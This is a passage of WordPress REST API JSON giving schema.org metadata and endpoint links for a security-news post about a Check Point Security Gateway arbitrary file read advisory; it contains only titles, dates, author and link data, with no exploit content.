Read_PACKETSTORM:212151","datePublished":"2025-11-27T12:50:04+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=27864"},"wordCount":1989,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-8.6","exploit","HIGH","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=27864#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=27864","url":"https:\/\/zero.redgem.net\/?p=27864","name":"\ud83d\udcc4 Check Point Security Gateway R80.30 Arbitrary File Read_PACKETSTORM:212151 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-11-27T12:50:04+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=27864#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=27864"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=27864#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Check Point Security Gateway R80.30 Arbitrary File Read_PACKETSTORM:212151"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/27864","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=27864"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/27864\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=27864"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=27864"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=27864"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}